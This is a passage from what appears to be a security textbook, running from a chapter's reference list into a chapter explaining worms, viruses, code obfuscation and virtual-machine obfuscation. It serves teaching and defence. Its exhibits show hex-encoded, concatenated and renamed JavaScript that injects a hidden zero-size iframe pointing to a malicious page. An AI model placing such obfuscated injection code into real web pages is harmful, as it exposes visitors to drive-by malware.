19. OWASP, “Testing for SQL Injection,” n.d., http://www.owasp.org/index.
php/Testing_for_SQL_Injection_(OWASP-DV-005).
20. Adobe, “Tips and Tricks: Quick Overview of PDF Files,” 2005, http://
www.adobe.com/devnet/livecycle/articles/lc_pdf_overview_format.pdf;
and Adobe Partners, “Adobe JavaScript Scripting Reference,” n.d., http://
partners.adobe.com/public/developer/en/acrobat/sdk/AcroJS.pdf.
21. Adobe Partners, “Adobe JavaScript Scripting Guide,” September 27,
2005, http://partners.adobe.com/public/developer/en/acrobat/sdk/pdf/
javascript/AcroJSGuide.pdf.
22. Security Labs, “Origami PDF Tool,” 2009, http://www.security-labs.org/
origami/.
23. Didier Stevens, “PDF Tools,” n.d., http://blog.didierstevens.com/
programs/pdf-tools/.
24. Jsunpack Blog, “Jsunpack-n Update,” June 30, 2009, http://jsunpack.
blogspot.com/2009/06/jsunpack-n-update-automatic-shellcode.html.
25. Thom Parker, “New Features in Adobe Reader 9,” AcrobatUsers.com, June
17, 2008, http://www.acrobatusers.com/blogs/thomp/acrobat-9-javascriptrevealed.
26. Die.net, “pdftotext manual page,” n.d., http://linux.die.net/man/1/
pdftotext.
27. Milw0rm.com, “Race Condition Exploit for Xorg-x11-xfs,” vl4dZ,
February 21, 2009, http://milw0rm.com/exploits/5167; and iDefense
Intelligence Operations, “Red Hat Enterprise Linux init.d XFS Script
chown Race Condition Vulnerability,” July 12, 2007, http://labs.idefense.
com/intelligence/vulnerabilities/display.php?id=557.
28. Milw0rm.com, “Linux Kernel 2.6.29 ptrace_attach() Local Root Race
Condition Exploit,” May 14, 2009, Prdelka, http://milw0rm.com/
exploits/8678.
E x p l o itati o n
19 3
29. iDefense, “State of the Hack: iDefense Explains . . .Obfuscation,” iDefense Weekly Threat Report, ID# 486147, May 18, 2009.
30. iDefense, “State of the Hack: iDefense Explains . . .SQL Injection,” iDefense Weekly Threat Report, ID# 480996, January 26, 2009.
31. Dezend, “Zend Decoder for php4/php5,” n.d., http://old.boem.me/dezend/.
32. Ha.ckers.org, “Slowloris HTTP DoS,” October 7, 2009, http://ha.ckers.
org/blog/20090617/slowloris-http-dos/.
33. iDefense, “State of the Hack: iDefense Explains Domain Name System
(DNS) Amplification Attacks,” iDefense Weekly Threat Report, ID#
482815, February 26, 2009.
34. CNet.com, “How Pakistan Knocked YouTube Offline (and How to
Make Sure It Never Happens Again),” October 6, 2009, http://news.
cnet.com/8301-10784_3-9878655-7.html.
35. VeriSign, “VeriSign Internet Defense Network,” October 8, 2009, http://
www.verisigninternetdefensenetwork.com.
36. Openwall Project, “Openwall Wordlists Collection,” n.d., http://www.
openwall.com/wordlists/.
37. Fizzgig’s Fun Haus, “pwdump6: Pissing Off McAfee since 2005,” 2008,
http://www.foofus.net/fizzgig/pwdump/.
38. Distributed Rainbow Table Project, “Free Rainbow Tables,” n.d., http://
www.freerainbowtables.com.
39. Ophcrack, “XP Rainbow Tables,” n.d., http://ophcrack.sourceforge.net/
tables.php.
40. Openwall Project, “John the Ripper Password Cracker,” n.d., http://www.
openwall.com/john/.
41. National Institute of Standards and Technology, “National Vulnerability
Database.”
42. </XSSed>, “XSS (Cross-Site Scripting) Information and Vulnerable
Websites Archive,” May 7, 2009, http://xssed.com.
43. Jeremiah Grossman, “The Origins of Cross-Site Scripting (XSS),” July
30, 2006, http://jeremiahgrossman.blogspot.com/2006/07/origins-ofcross-site-scripting-xss.html.
44. Mozilla, “Same Origin Policy for JavaScript,” May 7, 2009, https://developer.mozilla.org/en/Same_origin_policy_for_JavaScript.
45. For more information on SQL injection vulnerabilities, see iDefense,
“State of the Hack: iDefense Explains SQL Injection,” iDefense Weekly
Threat Report, ID# 480996, January 26, 2009.
46. Damon Cortesi, “Twitter StalkDaily Worm Postmortem,” May 7, 2009,
http://webcache.googleusercontent.com/search?q=cache:http://www.
dcortesi.com/2009/04/11/twitter-stalkdaily-worm-postmortem/
47. OWASP, “XSS
(Cross-Site
Scripting)
Prevention
Cheat
Sheet,”
May
7,
2009,
http://www.owasp.org/index.php/
XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet.
48. Common Weakness Enumeration, “Vulnerability Type Distributions in
CVE,” May 7, 2009, http://cwe.mitre.org/documents/vuln-trends/index.
html.
49. Sarah Granger, “Social Engineering Fundamentals, Part I: Hacker
Tactic,” Security Focus, December 28, 2001, http://www.securityfocus.
com/infocus/1527.
50. CipherTrust, “Social Engineering: The Email Security Wildcard,” April
25, 2006, http://www.ciphertrust.com/resources/articles/articles/social.
php.
51. Shaun Nichols, “Free Chocolate Provides Password Bounty,” V3, April
17, 2008, http://www.v3.co.uk/vnunet/news/2214500/users-meltingpassword-bribes.
52. Ira Winkler, “Crippling a Company by Telephone,” NASA, October 22,
2009,
http://www.hq.nasa.gov/office/ospp/securityguide/V1comput/
Case2.htm#Case%202.
53. Dancho Danchev, “Fake Celebrity Video Sites Serving Malware: Part
Three,” Dancho Danchev’s Blog: Mind Streams of Information Security
Knowledge, February 23, 2009, http://ddanchev.blogspot.com/2009/02/
fake-celebrity-video-sites-serving.html.
54. Jerome Segura, “Michael Jackson Malware in Italian,” Malware Diaries,
June 30, 2009, http://blogs.paretologic.com/malwarediaries/index.
php/2009/06/30/michael-jackson-malware-in-italian/.
55. iDefense, “State of the Hack: iDefense Explains . . .Rogue Anti-Virus,”
iDefense Weekly Threat Report, ID# 526335, October 5, 2009.
56. Patrick S. Ryan, “War, Peace, or Stalemate: Wargames, Wardialing,
Wardriving, and the Emerging Market for Hacker Ethics,” Virginia
Journal of Law & Technology 9, no. 7 (Summer 2004): http://ssrn.com/
abstract=585867.
57. WiGLE Project, “WIGLE.net,” n.d., http://www.wigle.net.
58. Suelette Dreyfus, “War Driving Takes to the Air over Perth,”
Fairfax Digital, August 27, 2002, http://www.smh.com.au/articles/2002/08/24/1030052995854.html.
59. WARSpy Los Angeles, “Our Rig,” n.d., http://www.warspyla.com/rigg.
html.
60. WiGLE Project, “WIGLE.net.”
61. iDefense, “State of the Hack: iDefense Explains Domain Name System
(DNS),” iDefense Weekly Threat Report, ID# 482279, February 9, 2009.
62. Robert McMillan, “Porn Site Feud Spawns New DNS Attack,” IT World,
February 10, 2009, http://www.itworld.com/security/62107/porn-sitefeud-spawns-new-dns-attack.
63. Internet Engineering Task Force (IETF), “Best Current Practice (BCP)
38,” 2000, http://www.ietf.org/rfc/rfc2827.txt.
64. Don Jackson, “DNS Amplification Variation Used in Recent DDoS
Attacks,” SecureWorks, February 2, 2009, http://www.secureworks.com/
research/threats/dns-amplification/.
4
M ali cious C od e
4.1â•‡ Self-Replicating Malicious Code
4.1.1â•‡ Worms
Computer worms constitute a large class of malicious code that spreads
between computers by distributing copies of themselves in a variety
of ways. The worm is one of the earliest forms of malicious code and
may be either benign or destructive. Malicious code is only a worm if
it spreads to other systems by duplicating itself without attaching to
other files.
Unlike computer viruses that spread by infecting executables or
other files, worms spread by distributing copies of themselves. The
copies may not be identical to the original worm, but they have the
same functionality and can continue to spread to additional computers. The Morris worm, released by Robert Morris in 1988, was one
of the first worms to spread on the Internet.1 The worm spread over
the Internet by exploiting multiple known vulnerabilities in common
UNIX programs. Morris stated that the purpose of the worm was to
gauge the size of the Internet at the time, but it spread so quickly that
it caused a widespread denial of service (DoS) condition.
Worms typically have two roles. The first is to spread to additional
computers, but most also have a secondary task known as a payload.
A worm’s payload is what the attacker programs the worm to accomplish after it spreads. In the case of the Morris worm, the intention
was to gauge the size of the Internet, but most worms have a much
more malicious payload. This can include distributed denial of service
(DDoS) attacks, spam distribution, cyber crime, or anything else the
attacker chooses.
In the years since Morris’s program got out of control, many more
worms have spread across the Internet. Many worms target vulnerabilities in popular network services like HTTP servers and NetBIOS.
However, many do not use vulnerabilities to spread, instead using
19 5
Exhibit 4-1â•… A single worm can use many propagation techniques.
e-mail, peer-to-peer (P2P) networks, social networks, and mobile
device communication protocols. These propagation techniques rely
on tricking the user into executing a program and cannot spread without any human interaction. Worms are not limited to a single propagation method but can use any or all of these methods at once (see
Exhibit 4-1).
E-mail worms spread by sending a message designed to entice
the recipient into clicking a link or downloading an attachment that
contains a copy of the worm. One famous example of this type of
malicious code is the ILOVEYOU worm, which began spreading in
May 2000.2 ILOVEYOU quickly infected thousands of computers
by sending an e-mail with the subject header “I love you.” Another
means of spreading worms is Instant Messaging (IM) technologies.
As IMs have gained in popularity, worms have begun to use these
popular networks to spread between systems.
Network worms, which often spread without any user interaction,
can infect many computers in a very short amount of time. These
worms may infect other systems by exploiting vulnerabilities in software or by attempting to guess passwords that protect systems from
intrusion. Blaster, which began spreading in August 2003, was a
network worm that spread through a vulnerability in the Microsoft
Windows RPC interface (MS03-026). The purpose of Blaster was to
strike Microsoft’s Windows Update website with a DDoS attack that
the worm would launch on August 15, 2003.3 Microsoft averted the
attack by preemptively taking the website offline.
Ma li c i o us C o d e 19 7
As with worms that spread through e-mail, those that spread
through P2P networks must also rely on social-engineering techniques rather than automatic propagation. These worms copy themselves to directories that popular P2P applications use to share files.
By renaming themselves so they appear to be movies or software, the
worms entice other users into downloading and executing them.
An often slow but effective propagation technique that worms use is
copying themselves to USB drives. USB worms configure the infected
drives to execute the worm as soon as an unsuspecting user plugs it
into a computer. Through this technique, the worm is able to spread
to networks that it could not normally access. In 2008, the U.S. Army
banned the use of USB drives in its networks because a worm had
spread throughout its networks via that route.4 To mitigate the threat
from these worms, Microsoft released an update that disabled the autorun feature that allowed malicious code to spread easily through USB
drives.5 Worms can spread between mobile devices by sending copies
of themselves attached to short message service (SMS) messages, or by
including links to Web pages that host a copy of the worm. In 2009, the
“Sexy View” worm spread to phones running the Symbian operating
system (OS) and collected information about each device it infected.6
The latest entrants into the worm world are those that spread through
social-networking sites like Facebook and MySpace. Koobface is a
worm that steals credentials for social-networking websites, then uses
the accounts to send links to the worm to the victim’s contacts. When
first released, Koobface only targeted Facebook, but it has since begun
targeting MySpace, Bebo, Netlog, and other social networks.7 Many
worms use multiple techniques to spread. One of the most famous
worms of 2009, Conficker,8 spread through USB drives and through a
vulnerability in the Windows Server Service (MS08-067).
To mitigate the threat from computer worms, administrators must
protect systems from all propagation techniques. The following measures will decrease the likelihood of a worm infection in a network:
• Use antivirus products to scan incoming e-mails and IMs for
malicious links.
• Disable autorun functionality for USB devices.
• Apply patches for vulnerabilities in network services in a
timely manner.
• Disable access to P2P networks.
• Educate users on the dangers of worms that use social-engineering techniques.
Like their malicious cousins, viruses and Trojan horses, worms
are a significant threat to modern networks. In the twenty-plus
years that have passed since Robert Morris released the first
Internet worm, new tactics have developed that allow for faster
propagation with a higher impact. With the arrival of new communication technologies, attackers also develop new ways to spread
malicious programs.
4.1.2â•‡ Viruses
The concept of viruses and malware has been with us for decades,
along with the development of detection technologies. In this section, we explain the differences between viruses and other types of
malware that can infect users and organizations.
The Internet hosts many forms of malicious software, also known
as malware, that vary in functionality and intent. Quite often, descriptions of malware, regardless of the type, incorrectly classify the malicious software as a virus. For years, the term computer virus has been
the all-encompassing term for malicious software; however, in the
world of computer security, a virus refers to a specific type of malware that spreads by infecting other files with its malicious payload.
Laypersons often incorrectly refer to all types of malware as viruses,
when they might actually mean that such malware are Trojan horses
(Trojans) or worms. A Trojan is a piece of malicious software that
appears to be a legitimate application. A Trojan runs on an infected
system as if it were an application with a beneficial purpose. A worm
is another type of malware that is a standalone executable that spreads
through network shares and vulnerabilities.
A virus, on the other hand, is not self-contained and requires the
infection of a host file to spread. A virus is parasitic, infecting a system by attaching itself to other files. A computer virus spreads in a
similar manner as a biological virus, which injects DNA into a host
cell to replicate itself and causes the cell to burst, releasing the replicated viruses to spread to other cells. A computer virus achieves the
technological equivalent by writing its code into a host file. The virus
eventually runs when a user opens the infected host file.
Now that the distinction between viruses and other types of malware is clear, a brief history of computer viruses will provide some
helpful background information. The first recorded IBM PC-based
virus, called the “Brain,” debuted in January 1986. The Brain copied
itself into a floppy disk’s boot sector, the space on the floppy disk used
to run code when the system starts. Once in memory, it attempted to
copy itself to other floppy disks; the main side effect of an infection
was a change to the volume label to “(c) Brain.” 9
The Brain virus was not particularly destructive but took advantage
of the era’s heavy use of floppy disks. Other viruses, however, were
not as harmless and caused damage to infected systems. In 1987, the
Jerusalem virus and its variants began infecting systems. This virus
resided in memory and infected all executable files (.com and .exe) on
the system. When a user opened an infected file, the virus deleted the
infected file.10
Viral code within infected host files often has three distinct parts:
the discovery module, the replication module, and the payload. The
discovery module enables the virus to locate host files, and the replication module carries out the infection by copying the entire viral code
into the host file. Exhibit 4-2 shows an infected application replicating the virus by writing the entire virus to the host file.
Last, the payload contains code to perform additional actions on
the infected system aside from file discovery and replication. The specific actions carried out by the payload depend on the purpose of the
virus. Payloads range from harmless code, such as the Cascade virus
that altered text displayed on screens, to destructive code, such as the
Virus.exe
Host.exe
Executable Header
Executable Header
Virus Code
Executable Code
Exhibit 4-2â•… A virus infecting a host file.
Virus Code
Executable Code
2 0 0
Exhibit 4.3â•… Screenshot of Cascade virus changing MS-DOS text.
Jerusalem virus that deleted infected files. Exhibit 4-3 shows screenshots of the Cascade virus altering the text within MS-DOS.
The security community separates viruses into two groups based
on how the virus infects other files after it executes: resident and nonresident. A nonresident virus infects other files only when the infected
file runs. A resident virus differs by loading itself into memory and
continuing to run after the infected file closes.
Resident viruses fall into two additional categories: fast infectors
and slow infectors.11 Viruses loaded into memory have the ability to
infect many files very quickly because they can infect any file on a
system. Viruses that take advantage of this ability are fast infectors, as
they try to infect as many files as quickly as possible. This type of virus
lacks stealth, and the consumption of resources makes the infection
obvious to the victim.
Slow infector viruses have specific criteria with which they infect
other files. Two common criteria used to infect other files are timebased (such as only infecting files on certain days) and access-based
(such as only infecting copied files) criteria. Infections occurring only
during specific situations slow down the infection rate, making the
virus inconspicuous and harder to detect.
To write code to another file, viruses generally add their code to the
beginning or end of a file. Methods that are more sophisticated, however, can also write the virus code within empty or unused space within
the file. Viruses that use these techniques, known as cavity viruses, can
add their code to a host file without changing the file’s size.
Once the virus writes its code to the file, there must be a way to run
the code when opening the infected file. If the virus focuses on infecting executable program files, it can modify the executable’s header
(entry point) to point to the beginning of the virus code. Another
method is to modify the executable file’s binary code to include call
or jump instructions to the virus code. A recently discovered method
used by the Xpaj.B virus replaces one of the subroutines in a host file
with its viral code.12 While this technique is less reliable and does not
guarantee that the code will run, it makes it more difficult for antivirus products to detect the virus.
The impact that viruses have on systems demands a solution to
detect and clean up infections. Antivirus products attempt to detect
viruses by searching files for discovery modules, replication modules,
or the payload. Detection methods include specific pattern matches
within the executable or heuristic methods to detect viral activity.
These antivirus products also attempt to clean the virus infection
by removing the virus’s code and restoring the original file’s contents.
The antivirus program cannot simply delete an infected file because
doing so may have adverse effects on the system’s operation. The antivirus must detect the technique the virus used to execute the viral
code within the infected file as described earlier in this section. Once
the antivirus determines this technique, the antivirus program must
remove the file alterations to reconstruct the original file. If the reconstruction of the file is successful, then the virus infection is gone.
2 0 2
Over the years, virus developers introduced encryption, polymorphic, and metamorphic code to thwart antivirus products. Encryption
is a common technique used by virus authors to help their malware
avoid detection. By encrypting the instructions, the author hides the
virus’s actual functionality and makes it difficult for antivirus programs to detect the virus using pattern matching. Encrypted viruses
start with a routine to decrypt the virus followed by the execution of
the now decrypted virus. A simple encryption method commonly used
is an exclusive OR (XOR) cipher. The XOR cipher uses a key and the
XOR operator to encrypt the virus’s code, and the same key and XOR
operator to decrypt the code.13 This lightweight encryption method
encrypts the virus, but antivirus products can detect the existence of
the decryption routine. For example, Panda’s XOR-encoded antivirus
signature looks for viruses with an XOR decryption routine.14
To avoid detection of the decryption routine, a technique called
polymorphism surfaced. A polymorphic virus still relies on a decryption routine to decrypt the encrypted code; however, this type of virus
has a polymorphic engine within its code that changes the encryption and decryption routines each time the virus infects another file.
Therefore, polymorphic viruses change their entire appearance with
each infection yet have the same functionality.
Another technique, called metamorphism, allows a virus to change
its appearance to avoid antivirus detection. Metamorphic viruses
use an embedded engine to alter their code much like a polymorphic virus; however, the metamorphic engine actually changes the
virus’s code. For example, the metamorphic engine can use different registers within the code, add no-operation-performed (NOP)
instructions, or change the code’s flow with different jump and call
instructions.15 These changes alter the binary composition of the
virus between infected files, which makes detection by an antivirus
product difficult.
Viruses have been around for decades, but many consider viruses
outdated and no longer a threat. The overwhelming number of Trojans
and worms that plague today’s networks overshadow viruses; however,
many viruses still exist, including a sophisticated, feature-rich virus
known as Virut. Virut surfaced in 2006 and evolved into a hybrid
malware that possesses characteristics of Trojans and viruses. Virut
first runs as a self-contained executable that is like a Trojan; however,
Ma li c i o us C o d e 203
it also infects executable files to establish persistence and longevity to
the infection.
Virut is a resident polymorphic virus that infects other executables
on the system upon access. Recent variants of Virut have infected
Web page files with the extension HTM, PHP, or ASP by writing
an inline frame (IFrame) to the file. The IFrame is an HTML element that embeds a frame within the browser window. These IFrames
allow attackers to forward users to a malicious page without interaction. Virut infects Web page files hoping to infect other users who
visit the Web page with the virus.16
In addition to Virut’s infection methods, its payload opens a backdoor on the infected system and connects to an Internet Relay Chat
(IRC) channel. The IRC channel allows the attacker to command
the infected system to download executables, further infecting the
system. These capabilities show the danger that contemporary viruses
pose to infected systems.
Over the past few decades, the term computer virus evolved from
applying to a common type of malicious code with specific characteristics to being an imprecise catchall term for all types of malware. The
characteristic that sets apart a true virus from other malware types
is the parasitic trait of needing to spread, as viruses do not propagate without infecting other files. Antivirus products search files for
this parasitic characteristic to detect viruses. These searches look for
binary values, file alterations, and viral behaviors within files and
attempt to clean infected files. While this is not a perfect solution,
antivirus programs provide systems with the best protection from
virus infections.
4.2â•‡ Evading Detection and Elevating Privileges
4.2.1â•‡ Obfuscation
For legitimate programmers, source code obfuscation helps protect their intellectual property by making it more difficult to steal.
Malicious programmers benefit from the same techniques, which
complicate malicious code reverse engineering and human analysis,
thereby frustrating efforts to understand and mitigate the threat. This
section explains the concept of obfuscation at a high level and delves
into its common uses and techniques.
2 0 4
The level of difficulty in analyzing data and code depends on the
effort put forth by the developer to obscure related information and
deter analysts. Developers use a technique known as obfuscation to
transform data or source code into obscure or unclear representations
while retaining the original functionality. Developers, both benign
and malicious, use obfuscation techniques to hide the data or the
behavior of an application.
Source code obfuscation seen in malicious code and commercial
applications reduces the chances of successful decompilation and
increases the difficulty of reverse engineering. Many programming
languages require source code to pass through a compiler to create
an executable or byte code file. Inversely, decompilers take executables
and byte code files and attempt to convert them into the original source
code. Exposed source code leaks sensitive information by revealing the
inner workings of the application. Legitimate developers use obfuscation in an attempt to hide possible vulnerabilities, trade secrets, and
intellectual property. Malicious developers use obfuscation to hide the
malicious intent of their code from detection and analysis.
Successful obfuscation disrupts decompilers and results in faulty
or incomplete source code. Faulty or incomplete source code complicates the situation by providing broken or incorrect code for analysis. An example of obfuscation that deters decompilation and source
code analysis is a product named Zend Guard that encodes and
obfuscates PHP applications. Zend Guard uses encoding and other
obfuscation routines to turn cleartext PHP scripts into binary code.17
Deobfuscating Zend Guard binaries into the original cleartext PHP
code is possible with an application called Dezender.
In addition to confusing decompilers, obfuscating code also
increases the difficulty in researchers’ ability to analyze code. Without
decompiled source code, code analysis requires reverse engineering.
Reverse engineering demands a high level of skill to analyze precompiled code and a long period to complete the analysis. Obfuscation
methods increase the amount of skill and time required by adding
complexity and confusion to the code.
A common anti-reverse-engineering obfuscation technique involves
self-modifying code. Self-modifying code makes static reverse engineering difficult because the code changes itself at runtime. Routines
within the application change the values and instructions within the
code when the program starts. The result is an application running in
memory that is different from its initial appearance.
Widespread self-modifying code used to hinder reverse-engineering attempts, known as binary packing, obfuscates an executable’s
machine code. Binary packing compresses executable code and adds
functionality to the application to uncompress the code at runtime.
This retains its original functionality but changes its appearance dramatically. Packed executables require the reverse engineer to analyze
the unpacking routine and unpack the code before beginning code
analysis steps.
Aside from restricting code analysis, malicious coders use obfuscation techniques to evade detection from signature-based security
solutions. Signature-based security solutions, such as antivirus programs and intrusion detection and prevention systems, use signatures
to search for specific values within files or packets traversing the network. If the signature matches, an alert triggers to notify the user or
administrator that malicious activity occurred. Obfuscating code and
network activity evades detection from antivirus intrusion detection
and prevention systems by altering values within files or packets that
trigger signatures.
Many obfuscation techniques exist in the wild to change code or
data into an unclear representation of itself. The variety of obfuscation techniques available depends on the intended result and the
environment in which the code or data exist. Regardless of the
result or environment, obfuscation transformations obscure yet
retain the original functionality. Typical modifications include
encoding, concatenating, obscuring variable and function names,
and adding or removing white space and new lines. Encryption
achieves the same result as obfuscation but is not an obfuscation method because it does not retain functionality without the
required cipher key.
Encoding data and code in different representations adds obscurity
to the information and instills confusion in the analyst. Encoding
methods depend on the decoding functionality available in the application. For example, using hexadecimal values to represent printable ASCII characters in a string transforms a human-readable
cleartext string into an array of hexadecimal values. Exhibit 4-4
shows JavaScript code that the Web browser interprets to decode the
2 0 6
<script>
document.write(“\x3c\x69\x66\x72\x61\x6d\x65\x20\x73\x72\x63\x3d\x22\x62\x61\x64\x2e\
x68\x74\x6d\x6c\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x30\x20\x77\x69\x64\x74\x68\x3d\
x30\x3e”);
</script>
Exhibit 4-4â•… Encoded JavaScript to include a 0x0 IFrame to bad.html.
hexadecimal values for “<iframe src=“bad.html” height=0 width=0>”
to include in the browser window.
Concatenation is an obfuscation technique that connects several
pieces of code or data to form one continuous block. Concatenating
the individual parts together retains the original functionality but
confuses the analysis by potentially displaying the block in out-ofsequence chunks. Intentionally splitting data and code into multiple
individual parts can make it difficult to understand and obscures the
original context. This method also prevents signature-based detection.
Concatenation pushes signature detection beyond its limits by forcing
it to assemble pieces before matching values. Exhibit 4-5 shows the
same code as seen in Exhibit 4-4, but here the author has split the
hexadecimal string into ten pieces and concatenated them together to
form the original string.
Obscure variable and function names obfuscate code by making it difficult to read. Illegible variable names make human code
analysis a burden because it is difficult to follow the random variable name from initialization to assignment to use within the code.
The same holds true for confusing function names. It is difficult
to analyze the functionality within and the arguments sent to the
unfamiliar function name. Use of randomization functions, such
as rand(), to generate random variable and function names further complicates analysis. Exhibit 4-6 shows a script with the same
<script>
document.write(“\x3c\x69\x66\x72”+”\x61\x6d\x65\x20”+”\x73\x72\x63\x3d”+”\x22\x62\
x61\x64”+”\x2e\x68\x74\x6d”+”\x6c\x22\x20\x68”+”\x65\x69\x67\x68”+”\x74\x3d\x30\
x20”+”\x77\x69\x64\x74”+”\x68\x3d\x30\x3e”);
</script>
Exhibit 4-5â•… Concatenated JavaScript to include a 0x0 IFrame to bad.html.
<script>
var kdfjaslf = document.write;
var ryerioeu = “\x3c\x69\x66\x72”+”\x61\x6d\x65\x20”+”\x73\x72\x63\x3d”+”\x22\x62\
x61\x64”+”\x2e\x68\x74\x6d”;
var mvcnvxcv = “\x6c\x22\x20\x68”+”\x65\x69\x67\x68”+”\x74\x3d\x30\x20”+”\x77\x69\
x64\x74”+”\x68\x3d\x30\x3e”;
kdfjaslf(ryerioeu+mvcnvxcv);
</script>
Exhibit 4-6â•… Random variable and function names.
functionality as seen in Exhibits 4-4 and 4-5 but with random variable and function names.
White space and new line modifications complicate data and code.
By removing white space and new lines, data and code quickly become
cluttered and difficult to follow. Adding white space and new lines
causes disarray in the opposite manner by spreading out data and code
to impede analysis. Exhibit 4-7 shows the same script as in Exhibit
4-6 without new lines to cause clutter.
Developers use obfuscation techniques to hide information from
prying eyes. Obfuscation methods, no matter how complex, are susceptible to reverse engineering and deobfuscation. Analysis of the original
information transformed by obfuscation depends on the obfuscation
method and situation. Although obfuscation tries to hide the original
intent, the computer must still execute the low-level code. This makes
dynamic code analysis a valid option by executing the obfuscated code
and observing the resulting activity. iDefense created a tool to aid in
dynamic analysis called DTMON. DTMON hooks Windows application programming interface (API) functions to monitor interaction
between the application and the system during execution.
<script>var kdfjaslf=document.write;var ryerioeu=”\x3c\x69\x66\x72”+”\x61\
x6d\x65\x20”+”\x73\x72\x63\x3d”+”\x22\x62\x61\x64”+”\x2e\x68\x74\x6d”;var
mvcnvxcv=”\x6c\x22\x20\x68”+”\x65\x69\x67\x68”+”\x74\x3d\x30\x20”+”\x77\
x69\x64\x74”+”\x68\x3d\x30\x3e”;kdfjaslf(ryerioeu+mvcnvxcv);</script>
Exhibit 4-7â•… Cluttered JavaScript code without new lines.
2 0 8
Another useful method to perform dynamic analysis involves
a debugger to step through the executing code. This allows one to
observe the computer interpreting the obfuscated code. An example of a dynamic analysis tool is Jsunpack. Jsunpack18 deobfuscates
JavaScript code by running the obfuscated script through an emulated Web browser and displaying the results. Jsunpack displays the
code and data at multiple stages as the browser naturally deobfuscates
while it steps through the script.
Obfuscation involves transformations to obscure information or
code in an attempt to increase the difficulty to understand, analyze,
and detect threats. Obfuscation is easy to recognize when observing
overly complicated code or data; however, understanding the intent
of the obfuscated code is difficult. Without reverse-engineering techniques, analyzing obfuscated code and determining possible threats
becomes nearly impossible. Reverse engineers use utilities, such as
Jsunpack and DTMON, to analyze and understand the obfuscated
code and its intent.
4.2.2â•‡ Virtual Machine Obfuscation
Attackers regularly use obfuscation techniques to obscure code functionality and frustrate mitigation efforts. One of the most advanced
obfuscation techniques executes code within a virtualized environment, making the use of traditional analytical tools difficult and
therefore representing a dangerous and sophisticated threat.
The obfuscation of code and data by malicious code authors results
in a game of cat and mouse as those who analyze obfuscated malicious
code defeat the various obfuscation techniques that malicious code
authors employ. This technological arms race has resulted in a wide
range of obfuscation techniques for a variety of code forms (native
executables, scripts, and Web code). iDefense recently explored the
basic overview of what code and data obfuscation achieves and a
sampling of the methods used to obfuscate code.19 One of the more
recent developments in the obfuscation arms race is the use of virtual
machine (VM) obfuscation.
Traditional obfuscation techniques ultimately rely on executing
code in the context of the host system. In other words, an obfuscated binary designed to run on an Intel processor will execute the
obfuscated program using Intel instructions. Likewise, obfuscated
JavaScript runs within the JavaScript engine of a Web browser. The
code and data contained within the program may no longer resemble
the original code, but the result is the same: the malicious code executes using the native instruction set of the platform.
VM obfuscation bends this concept to the point that the obfuscated
binary no longer resembles, in any code-based fashion, the original
binary; moreover, the obfuscated program no longer executes on the
native platform but instead operates in a virtual machine. It is important at this point to clarify two terms that may appear interchangeable
but are very different when related to VM obfuscation: binary and
program. When referring to the area of VM obfuscation, a binary is
an executable file run by the operating system. A program, in this case,
is the original code that the VM obfuscation system modifies—the
behavior and instruction of the malicious code. In other words, binary
is to program as shell is to turtle.
Traditional obfuscation systems, regardless of their level of advancement, generally modify the binary in such a way that the binary can
be analyzed using the tools and techniques available for the binary’s
platform. The analysis process is typically slow due to the injection
of junk code, the modified loops and various other obfuscation techniques used. VM obfuscation systems, on the other hand, replace the
original binary with a binary that contains three components: bootstrap code, a bytecode VM interpreter, and the program converted
into a byte stream. Exhibit 4-8 depicts these components. The key to
Boot Strap Code
VM Interpreter
VM Byte Code
VM Obfuscated Binary
Exhibit 4-8â•… Typical components of a virtual machine (VM)–obfuscated binary.
Original Binary
(×86 Instruction Set)
VM Obfuscation System
(Change the VM Architecture,
Randomize Byte-code Interpreter)
VM Obfuscated Binary
Exhibit 4-9â•… Logic for an actor creating a VM-obfuscated binary.
the effectiveness of VM obfuscation systems lies in the fact that the
original program is converted from its original processor (e.g., Intel
x86) to a custom processor that requires interpreter code to execute.
The process by which VM obfuscation systems change an original
binary’s program into VM-interpreted bytecode varies from obfuscator
to obfuscator; however, the basic principles of the conversion are very
similar. The obfuscation occurs when the VM obfuscator reads the
original source binary. The obfuscator determines the execution paths
of the binary, the native instructions used to construct the program,
and any external dependencies (such as system dynamic link libraries,
or DLLs). The system uses this information to transform the original
program into bytecode. The system randomizes the bytecode handlers,
which is explained later in this section, and the obfuscated binary is
constructed. The obfuscator packs the new VM-obfuscated binary
before saving the completed binary to disk. This process, generalized
in the depiction in Exhibit 4-9, requires very little interaction between
the VM obfuscation system and the user of the obfuscation system.
The bootstrap code of a VM-obfuscated binary provides the minimal amount of native platform execution instructions necessary to
load the VM interpreter. The bootstrap usually contains a startup
algorithm that performs the following functions:
1.Inspect the operating system for the existence of debugging
tools.
2.Terminate the loading of the binary if debugging tools are
found.
3.Unpack the rest of the obfuscated binary.
4.Transfer control to the VM interpreter.
Once the bootstrap passes control to the VM interpreter, the interpreter engine begins the process of executing the bytecode stream
Ma li c i o us C o d e VMProtect_main
proc near
pushf
pusha
push
mov
cld
mov
call
mov
add
211
0
esi, [esp+40]
ecx, 40h
ManageScratchPadHeap
edi, eas
esi, [esp]
cmdLoop:
VMProtect main
lodsb
movzx
jmp
endp
eax, a1
ds:cmdJmpTable[eax*4]
Exhibit 4-10â•… VMProtect’s VM interpreter.
that represents the original program. The interpreter itself is usually a
lightweight subroutine that reads the byte stream and dispatches the
appropriate handler for the bytecode. A bytecode handler is a small
chunk of native platform code that translates the abstract bytecode
into native platform executable instructions. The interpreter of the
VMProtect 20 VM obfuscation system, for instance, does little more
than read the next bytecode and, using a small jump table, executes
the handler responsible for the interpretation of that bytecode. Exhibit
4-10 shows the disassembly of the VMProtect VM interpreter.
The bytecode is the core of the VM obfuscation’s power. VM obfuscation transforms the original program by converting native instructions such as ADD, MOV, XOR, JMP, and so on into bytecode
representations of the same methods. The conversion from native code
to bytecode allows the VM interpreter to organize the architecture of
the virtual machine in a manner that is completely different from that
of the original platform.
Using VMProtect again as an example, the obfuscation system
converts Intel x86 opcodes into a stack-based machine. x86 instructions operate using central processing unit (CPU) registers and rely
on the stack as the primary means to store temporary data and pass
variables. The conversion from this native register-based platform to
a stack-based platform introduces new complexities that an analyst
must overcome to determine the true nature of the original program.
To make the obfuscation more difficult, the VM obfuscator will randomize the meaning of the bytecodes, meaning that it is likely that
two VM obfuscations of the same original program will use different
bytecodes. This forces the analyst to spend a significant amount of
time determining the meaning of each bytecode as it pertains to the
sample under review. Since the bytecode is interpreted, the amount
of native platform instructions required to interpret and execute the
